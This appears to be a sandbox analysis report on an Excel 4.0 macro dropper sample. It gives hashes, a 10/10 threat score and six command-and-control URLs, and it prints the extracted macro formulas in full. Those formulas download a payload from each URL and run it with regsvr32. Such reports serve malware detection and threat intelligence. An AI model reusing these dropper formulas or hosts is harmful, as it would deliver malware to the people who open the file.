General

  • Target

    db7a4dcd91eb9f5d98009150a4004be2ed04420fce790c7c5b9af2efe2a38dbf

  • Size

    46KB

  • Sample

    241120-fe3qaa1cmd

  • MD5

    e5e0399080a75240ea276059adedbdf3

  • SHA1

    255af01fa333a994f68ca07e838968104c2a744e

  • SHA256

    db7a4dcd91eb9f5d98009150a4004be2ed04420fce790c7c5b9af2efe2a38dbf

  • SHA512

    9650a5fe6b297199b378162b0b373676a1d87ff3df1c72fc045fc620f61818dd606af5dbe72b502886bc971a4a973fca5ec6ecf9886e8f075ab569a507f9d8d4

  • SSDEEP

    768:AwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:xWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://congresoapp2021.com/u07di/wkdehSgS/

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

http://tournhatrang.asia/cgi-bin/2gnqrN/

https://novinex.net/wp-admin/7WlWVE5fQKnZ1/

http://support.techopesolutions.com/gq2z3/31ecS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://congresoapp2021.com/u07di/wkdehSgS/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tournhatrang.asia/cgi-bin/2gnqrN/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://novinex.net/wp-admin/7WlWVE5fQKnZ1/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/31ecS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://congresoapp2021.com/u07di/wkdehSgS/

xlm40.dropper

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

xlm40.dropper

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

xlm40.dropper

http://tournhatrang.asia/cgi-bin/2gnqrN/

Targets

    • Target

      db7a4dcd91eb9f5d98009150a4004be2ed04420fce790c7c5b9af2efe2a38dbf

    • Size

      46KB

    • MD5

      e5e0399080a75240ea276059adedbdf3

    • SHA1

      255af01fa333a994f68ca07e838968104c2a744e

    • SHA256

      db7a4dcd91eb9f5d98009150a4004be2ed04420fce790c7c5b9af2efe2a38dbf

    • SHA512

      9650a5fe6b297199b378162b0b373676a1d87ff3df1c72fc045fc620f61818dd606af5dbe72b502886bc971a4a973fca5ec6ecf9886e8f075ab569a507f9d8d4

    • SSDEEP

      768:AwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:xWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks